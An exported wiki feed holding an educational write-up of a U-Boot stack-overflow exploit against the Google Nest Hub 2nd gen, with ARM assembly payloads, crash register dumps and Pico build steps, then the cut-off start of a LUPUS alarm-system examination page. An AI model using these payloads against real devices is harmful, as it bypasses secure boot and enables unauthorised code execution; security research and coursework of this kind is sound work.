 x14: 000000007bed5c4c x15: 00000000ffffffff&lt;br /&gt;
 x16: 0000000000004060 x17: 0000000000000084&lt;br /&gt;
 x18: 000000007bee1dc8 x19: fffffc91fffffc90&lt;br /&gt;
 x20: fffffc93fffffc92 x21: fffffc95fffffc94&lt;br /&gt;
 x22: 000000000000002a x23: 000000007c008490&lt;br /&gt;
 x24: 000000007c008490 x25: 000000007ffdcd80&lt;br /&gt;
 x26: 0000000000000000 x27: 0000000000000000&lt;br /&gt;
 x28: 000000007c009ac0 x29: fffffc8dfffffc8c&lt;br /&gt;
 &lt;br /&gt;
 Resetting CPU ...&lt;br /&gt;
&lt;br /&gt;
The link register lr contains an invalid pointer : fffffc8ffffffc8e.&lt;br /&gt;
The values 0xFFFFFC8E and 0xFFFFFC8F are being recognized from the above payload. This means the offset is 0x238 (0x8e * 4 bytes).&lt;br /&gt;
&lt;br /&gt;
==== Determine the start address of payload ====&lt;br /&gt;
&lt;br /&gt;
Now it is required to determine the start address of the payload to be able to execute it.&lt;br /&gt;
We already know that stack top is located below gd address (register x18).&lt;br /&gt;
Maximum allowed block size is 0x8000, hence we have 8.185 branch instructions. We only need the address of any of these.&lt;br /&gt;
&lt;br /&gt;
A guess would be: (gd - 0x8000) = (0x7bee1dc8 - 0x8000) = 0x7BED9DC8.&lt;br /&gt;
&lt;br /&gt;
The pico code needs to be updated to use this new payload:&lt;br /&gt;
&lt;br /&gt;
 .text&lt;br /&gt;
 .global _start&lt;br /&gt;
 &lt;br /&gt;
 _start:&lt;br /&gt;
     b _payload&lt;br /&gt;
     b _payload&lt;br /&gt;
 [...]&lt;br /&gt;
 .dword 0x7BED9DC8 // payload pointer at offset 0x238&lt;br /&gt;
 [...]&lt;br /&gt;
     b _payload&lt;br /&gt;
     b _payload&lt;br /&gt;
 _payload:&lt;br /&gt;
     adr x19, _start&lt;br /&gt;
     mov x20, x30&lt;br /&gt;
     mov x21, sp&lt;br /&gt;
     mov x22, #0xcafe&lt;br /&gt;
     blr x13&lt;br /&gt;
&lt;br /&gt;
The first instruction adr sets register x19 to the payload&#039;s start address. The last instruction blr branches to an invalid pointer x13 to ensure a crash, and thus dump registers on UART.&lt;br /&gt;
&lt;br /&gt;
The pico, when using the new payload, shows the following:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;Synchronous Abort&amp;quot; handler, esr 0x8a000000&lt;br /&gt;
 elr: ffffffff8110e001 lr : fffffffffcfeb700 (reloc)&lt;br /&gt;
 elr: 0000000000000001 lr : 000000007bedd700&lt;br /&gt;
 x0 : 00000000ffffffff x1 : 0000000000000001&lt;br /&gt;
 x2 : 000000007bed5888 x3 : 0000000000000000&lt;br /&gt;
 x4 : 0000000000008000 x5 : 0000000000000200&lt;br /&gt;
 x6 : d63f01a0d2995fd6 x7 : 0000000000000000&lt;br /&gt;
 x8 : 0000000000000001 x9 : 0000000000000008&lt;br /&gt;
 x10: 000000007c0021b0 x11: 000000007c009b80&lt;br /&gt;
 x12: 0000000000000001 x13: 0000000000000001&lt;br /&gt;
 x14: 000000007bed5c4c x15: 00000000ffffffff&lt;br /&gt;
 x16: 0000000000004060 x17: 0000000000000084&lt;br /&gt;
 x18: 000000007bee1dc8 x19: 000000007bed5700&lt;br /&gt;
 x20: 000000007bed9dc8 x21: 000000007bed5960&lt;br /&gt;
 x22: 000000000000cafe x23: 000000007c008490&lt;br /&gt;
 x24: 000000007c008490 x25: 000000007ffdcd80&lt;br /&gt;
 x26: 0000000000000000 x27: 0000000000000000&lt;br /&gt;
 x28: 000000007c009ac0 x29: 14001f6e14001f6f&lt;br /&gt;
 &lt;br /&gt;
 Resetting CPU ...&lt;br /&gt;
&lt;br /&gt;
Register x22 contains the flag that indicates the payload was executed successfully. And x19 reveals that payload&#039;s start address is 0x7bed5700.&lt;br /&gt;
&lt;br /&gt;
To summarize, an USB Mass Storage device with following attributes is required:&lt;br /&gt;
&lt;br /&gt;
* block size of 1024, 2048, 4096, 8192, 16384 or 32768 bytes&lt;br /&gt;
* payload contained in block 0&lt;br /&gt;
* value 0x000000007bed5700 set at offset 0x238 in block 0&lt;br /&gt;
&lt;br /&gt;
==== Calling the bootloader ====&lt;br /&gt;
&lt;br /&gt;
This elevates us to execute arbitrary code. If we manage to obtain the bootloader, we can call the bootloader code in-memory, which is easier than setting up a baremetal payload for loading a whole OS.&lt;br /&gt;
&lt;br /&gt;
https://github.com/frederic/chipicopwn/blob/main/payloads/memdump_over_uart.c shows the required payload for dumping RAM Memory over the UART.&lt;br /&gt;
&lt;br /&gt;
First the gd structure (found on register x18) which contains a pointer to the bootloader code is being dumped.&lt;br /&gt;
&lt;br /&gt;
Variable gd-&amp;gt;relocaddr indicates that the bootloader is at 0x7fef2000. We dump memory from this address up to gd-&amp;gt;ram_top.&lt;br /&gt;
&lt;br /&gt;
==== Final Payload for the exploit ====&lt;br /&gt;
&lt;br /&gt;
We create a payload that elevates us to use U-Boot built-in commands.&lt;br /&gt;
This final payload&lt;br /&gt;
* fixes (in RAM) the bug we just exploited&lt;br /&gt;
* calls U-Boot function run_command_list with _command_list as argument&lt;br /&gt;
* sets the download buffer (0x01000000) as return address to execute next stage (if any)&lt;br /&gt;
&lt;br /&gt;
 .text&lt;br /&gt;
 .global _start&lt;br /&gt;
 _start:&lt;br /&gt;
     sub sp, sp, #0x1000 // move SP below us to avoid being overwritten when calling functions&lt;br /&gt;
     ldr x0, _bug_ptr&lt;br /&gt;
     ldr x1, _bug_fix&lt;br /&gt;
     str x1, [x0]  // fix the bug we just exploited&lt;br /&gt;
     adr x0, _command_list&lt;br /&gt;
     mov w1, #0xffffffff&lt;br /&gt;
     mov w2, #0x0&lt;br /&gt;
     ldr x30, _download_buf // set LR to download buffer&lt;br /&gt;
     ldr x3, _run_command_list // load binary into download buffer&lt;br /&gt;
     br x3&lt;br /&gt;
 &lt;br /&gt;
 _bug_ptr: .dword 0x7ff26060&lt;br /&gt;
 _bug_fix: .dword 0xd65f03c0d2800000&lt;br /&gt;
 _download_buf: .dword 0x01000000&lt;br /&gt;
 _run_command_list: .dword 0x7ff24720&lt;br /&gt;
 _command_list: .asciz &amp;quot;echo CHIPICOPWN!;osd setcolor 0x1b0d2b0d;usb reset;fatload usb 0 0x8000000 CHIPICOPWN.BMP;bmp display 0x8000000;while true;do usb reset;if fatload usb 0 0x01000000 u-boot-elaine.bin;then echo yolo;exit;fi;done;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The U-Boot commands in _command_list load 2 files from the first FAT partition of USB Mass Storage device:&lt;br /&gt;
&lt;br /&gt;
* CHIPICOPWN.BMP : the logo to display&lt;br /&gt;
* u-boot-elaine.bin : the next payload to run. In our case, a custom U-Boot image.&lt;br /&gt;
&lt;br /&gt;
Once the function run_command_list returns, the next payload is executed.&lt;br /&gt;
&lt;br /&gt;
Since Rasperry Pi Pico flash memory is limited, we can put the file u-boot-elaine.bin on another USB flash drive that is hot-swapped with the Pico.&lt;br /&gt;
&lt;br /&gt;
Now we can boot an unsigned(!) OS. A good example would be the Ubuntu image for Raspberry Pi Generic (64-bit ARM), available at https://cdimage.ubuntu.com/releases/22.04/release/&lt;br /&gt;
&lt;br /&gt;
In conclusion we now have the&lt;br /&gt;
* custom U-Boot bootloader with disabled secure boot: https://github.com/frederic/elaine-u-boot&lt;br /&gt;
* custom Linux kernel for elaine for using peripherals: https://github.com/frederic/elaine-linux/commit/11068237d9178e77d79e3a5d27fc4f8f9b923c51 &lt;br /&gt;
** note that the initial ramdisk had been repacked to be compatible with the Nest&#039;s touchscreen&lt;br /&gt;
&lt;br /&gt;
These files are copied to the Ubuntu USB flash drive.&lt;br /&gt;
&lt;br /&gt;
At last, we can plug in the Raspberry Pico, hotswap it with the USB drive when the logo shows up and we can install Ubuntu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
We want to change the OS of a Google Nest Hub 2. Generation by exploiting a vulnerability in the bootloader u-boot.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* 1x Google Nest Hub, 2nd Generation --&amp;gt; [[Nest_Hub_2nd_Generation]]&lt;br /&gt;
* 1x Raspberry Pi Pico&lt;br /&gt;
* 1x Powered Micro-USB Hub (NestUSB does not provide power)&lt;br /&gt;
* 2x Micro-USB cables&lt;br /&gt;
* 1x UART to USB&lt;br /&gt;
* 1x bootable USB Stick with Ubuntu 22.04 and the files from https://github.com/frederic/elaine-bootimg (Elaine bootimg gives privilege to use the Nest touchscreen for the Linux OS)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Flashing Ubuntu USB Stick ===&lt;br /&gt;
&lt;br /&gt;
Flash an USB stick with Ubuntu 22.04, if you haven&#039;t done earlier. You can use Rufus or Etcher for this task.&lt;br /&gt;
&lt;br /&gt;
[[File:01_rufus_for_bootUSB.jpeg|500px|thumb|right|rufusflash]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Refining Ubuntu USB Stick ===&lt;br /&gt;
&lt;br /&gt;
In order to be compatible with the touchscreen of the nest, we need to adjust some files in partition system boot.&lt;br /&gt;
&lt;br /&gt;
Copy the following files from the repository https://github.com/frederic/elaine-bootimg in partition system-boot :&lt;br /&gt;
* u-boot-elaine.bin : U-Boot image for elaine&lt;br /&gt;
* u-boot-elaine.cmd : U-Boot environment file&lt;br /&gt;
* boot.img : Boot image (Kernel for elaine, DTB, initrd)&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Theoretical Background ===&lt;br /&gt;
&lt;br /&gt;
The exploit is made possible because there is a stack overflow within the bootloader u-Boot, which happens with block sizes greater than 512 bytes. Most USB-Sticks only support 512 Bytes. The solution is taking a suitable microcontroller, in our case a Raspberry Pico, which is equipped with TinyUSB, which provides a Mass Storage device example code that can turn a Raspberry Pi Pico into a customizable USB flash drive.&lt;br /&gt;
This Pico will be used to inject arbitrary payload into the stack memory and overwrite return address to execute the payload.&lt;br /&gt;
However, the storage of the pico is very limited, hence we will have to hotswap the pico with our USB Stick, which contains all neccessary data to install the OS.&lt;br /&gt;
&lt;br /&gt;
=== Step 4: Preparing The Raspberry Pico ===&lt;br /&gt;
&lt;br /&gt;
For the Pico we will have to prepare the following:&lt;br /&gt;
&lt;br /&gt;
1. Install dependencies&lt;br /&gt;
Update the system:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
&lt;br /&gt;
Install dependencies:&lt;br /&gt;
 sudo apt install git&lt;br /&gt;
 sudo apt install openocd&lt;br /&gt;
 sudo apt install gcc-multilib&lt;br /&gt;
 sudo apt install build-essential&lt;br /&gt;
 sudo apt install python3-serial&lt;br /&gt;
 sudo apt install libudev-dev&lt;br /&gt;
 sudo apt install cmake gcc-arm-none-eabi libnewlib-arm-none-eabi build-essential &lt;br /&gt;
 sudo apt install libstdc++-arm-none-eabi-newlib&lt;br /&gt;
&lt;br /&gt;
Create workspace, current location /home/&lt;br /&gt;
 mkdir pico&lt;br /&gt;
 cd pico&lt;br /&gt;
&lt;br /&gt;
Clone pico-sdk and update it, current location /home/pico/&lt;br /&gt;
 git clone https://github.com/raspberrypi/pico-sdk.git --branch master&lt;br /&gt;
 cd pico-sdk&lt;br /&gt;
 git submodule update --init&lt;br /&gt;
&lt;br /&gt;
In the Pico folder we do clone our chipicopwn, current location /home/pico/&lt;br /&gt;
&lt;br /&gt;
 sudo git clone https://github.com/frederic/chipicopwn chipicopwn&lt;br /&gt;
 cd chipicopwn&lt;br /&gt;
&lt;br /&gt;
Now we need the commands from the repository:&lt;br /&gt;
Set the Path to wherever you saved your pico-sdk repository&lt;br /&gt;
 export PICO_SDK_PATH=/home/user/pico/pico-sdk/&lt;br /&gt;
&lt;br /&gt;
!! If you have this in the home directory do not use relative paths, since this command is executed as root!&lt;br /&gt;
&lt;br /&gt;
Flashing the program, current location /home/pico/chipicopwn&lt;br /&gt;
It may be that a build folder already exists. It is recommended to delete it and make a new one, since some files may or may not work / flash as intended.&lt;br /&gt;
&lt;br /&gt;
 mkdir build&lt;br /&gt;
 cd build&lt;br /&gt;
 sudo cmake ..&lt;br /&gt;
 sudo make&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now the project should be built.&lt;br /&gt;
Now we need to boot the Pico in bootloader mode (by holding down the BOOTSEL button) and get the chipicopwn.uf2 on the pico device itself by copying it.&lt;br /&gt;
&lt;br /&gt;
Now we should have two hardware components prepared:&lt;br /&gt;
&lt;br /&gt;
The USB Stick with the Ubuntu Image optimized for touchscreen and the Raspberry Pico with the modified bootloader.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 5: Preparing The Hardware ===&lt;br /&gt;
&lt;br /&gt;
Remove the lid underneath the Nest Hub base to expose USB port&lt;br /&gt;
Connect the Raspberry Pico to Nest Hub (through powered-hub or Y-cable because the USB port does not provide power)&lt;br /&gt;
[[File:HardwareCabled.png|500px|thumb|right|Verkabelte Hardware]]&lt;br /&gt;
Hold Volume Down + Volume Up + Mute buttons while powering on the Nest Hub&lt;br /&gt;
Once CHIPICOPWN logo appears on screen, replace the Raspberry Pico with USB flash drive&lt;br /&gt;
&lt;br /&gt;
Now you can install Ubuntu on your Google Nest.&lt;br /&gt;
&lt;br /&gt;
=== Result ===&lt;br /&gt;
[[File:Demonstration.png|500px|thumb|Demonstration]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[Nest_Hub_2nd_Generation]]&lt;br /&gt;
[[Raspberry Pi Pico]]&lt;br /&gt;
[[Powered Micro-USB Hub]]&lt;br /&gt;
[[Micro-USB cable]]&lt;br /&gt;
optional for log insight: [[UART to USB Adapter]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[WFP2]] (2023)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html&lt;br /&gt;
* https://github.com/frederic/chipicopwn&lt;br /&gt;
* https://github.com/frederic/elaine-bootimg&lt;br /&gt;
&lt;br /&gt;
Teardown Links:&lt;br /&gt;
&lt;br /&gt;
https://electronics360.globalspec.com/article/17053/teardown-google-nest-hub-2nd-gen&lt;br /&gt;
https://fccid.io/A4RGUIK2/Internal-Photos/Internal-Photos-20200702-v1-Internal-Photos-5035937?utm_content=cmp-true&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_LUPUS-Electronics_devices&amp;diff=14612</id>
		<title>Examination of LUPUS-Electronics devices</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_LUPUS-Electronics_devices&amp;diff=14612"/>
		<updated>2024-03-12T17:27:45Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
[[File:LUPUSEC Universum.jpg|230px|right|thumb|The LUPUSEC Universe&amp;lt;sup&amp;gt;[https://www.lupus-electronics.de/shop/bilder/lupusec/LUPUSEC_Universum_s.jpg]&amp;lt;/sup&amp;gt;]]&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The German company LUPUS-Electronics is regularly awarded for its security as well as their smart home capabilities by magazines and organisations like the [https://www.av-test.org/en/ AV-TEST]. The latest equipment offers astonishing features, a new firmware and the recent LUPUS UI 3.0. But especially the central units are quite expensive and intended for a longer period of use. In addition, users rarely have the technical knowledge to keep these devices up to date to protect them against security breaches and the like. In this examination a setup is examined which was used as such in a production environment. The device is illuminated without knowledge of access data or the like.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The LUPUSEC Smarthome System is different from other Smart Homes, as it is not only compatible with other manufacturers and has the widest range of accessories with over 80 sensors and hazard alarms, but is primarily a professional wireless alarm system with sabotage protection and connection possibility. The LUPUSEC Smarthome System offers applications in the areas of Video Surveillance, Alarm System and Smart Home. This allows a user to benefit from security, energy and comfort.&amp;lt;sup&amp;gt;[https://www.lupus-electronics.de/en/smart-home/]&amp;lt;/sup&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUS - XT1 Plus Starter Kit&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;quot;The new LUPUS XT1 Plus offers professional protection and features the most extensive smart home equipment, as well as, video surveillance solutions. The XT1 Plus allows you to connect up to 80 alarm sensors and smart home elements. The door contacts and motion detectors allow you to secure your home around the clock. Via the smartphone app you are informed immediately if someone enters or leaves your home. The XT1 Plus meets the highest demands in terms of data security. Every connection to the XT1 Plus uses a 256bit TLS 1.2 encryption.&lt;br /&gt;
The alarm panel, as well as, every sensor is protected against internal or external tampering.&amp;quot;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT1-Plus-Starter-Kit-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUS - XT2 Plus Main Panel&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;quot;The new LUPUSEC XT2 Plus is an innovative burglar alarm, smart home, and video surveillance system that is reliable, easy to use, and extremely versatile. The alarm panel can control your heating, lights, shutters, and other electronic devices. Additionally, you can integrate your cameras, view their live stream, and, thus, immediately discover the source of an alarm. You can connect up to 240 alarm sensors wirelessly to the XT2 Plus. The 256bit SSL encryption of the LUPUSEC-XT2 Plus guarantees that your data connection is secured against intruders. Pre-emptive damage prevention. Simple and secure. That&#039;s the new LUPUSEC-XT2 Plus.&amp;quot;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT2-Plus-Main-Panel-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUSEC - XT3 Main Panel&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;quot;The new LUPUSEC-XT3 is an innovative burglar alarm, smart home, and video surveillance system that is reliable, easy to use, and extremely versatile. LUPUSEC-XT3 protects your building professionally. You can connect up to 480 alarm sensors via the proprietary radio band of 868MHz. In case of an alarm you will immediately by alarmed via push-notifications, e-mail, SMS, a telephone call, and additionally you can connect a 24/7 guard service. For the transmission of these alarms, the XT3 uses two redundant methods: Via your network and via the integrated GSM module. Professional and secure! Hence, the LUPUSEC-XT3 is certified according to the European quality norm of EN50131 grade 2.&amp;quot;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT3-Main-Panel-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUSEC - Outdoor siren V2&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Sirens/LUPUSEC-Outdoor-siren-V2-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUSEC - Remote Control&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Classic-XT1-Sensoren/LUPUSEC-Remote-control-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUSEC - Door Contact V1 (EOL)&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/en/service/eol-product-downloads/ Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Uninvestigated devices&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;[[https://www.lupus-electronics.de/shop/en/ Shop Link]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;EOL Product Downloads&amp;lt;/h3&amp;gt;&lt;br /&gt;
Lots of firmware downloads to play around with. (For educational purposes!)&lt;br /&gt;
* https://www.lupus-electronics.de/en/service/eol-product-downloads/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Examination&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Summary&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Collected Information&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Device Model&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;XT2 Plus&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;XT3&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;XT1 Plus&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Outdoor Siren V2&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Remote Control V1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Door Contact V1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Manufacturer&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS (Climax)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Product Type&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm, Smart and Video&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm, Smart and Video&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm, Smart and Video&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Outdoor Siren&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remote Control&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Door Contact&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm Panel&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm Panel&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm Panel with accessories&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Attracts Attention in the Neighbourhood&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Arm or Disarm Alarm Panel&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Monitors Open/Close of Windows/Doors&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Price on Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;665 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;On request&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;400 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;200 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;50 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;50 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2015 Q4 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2017 Q2 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2019 Q2 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
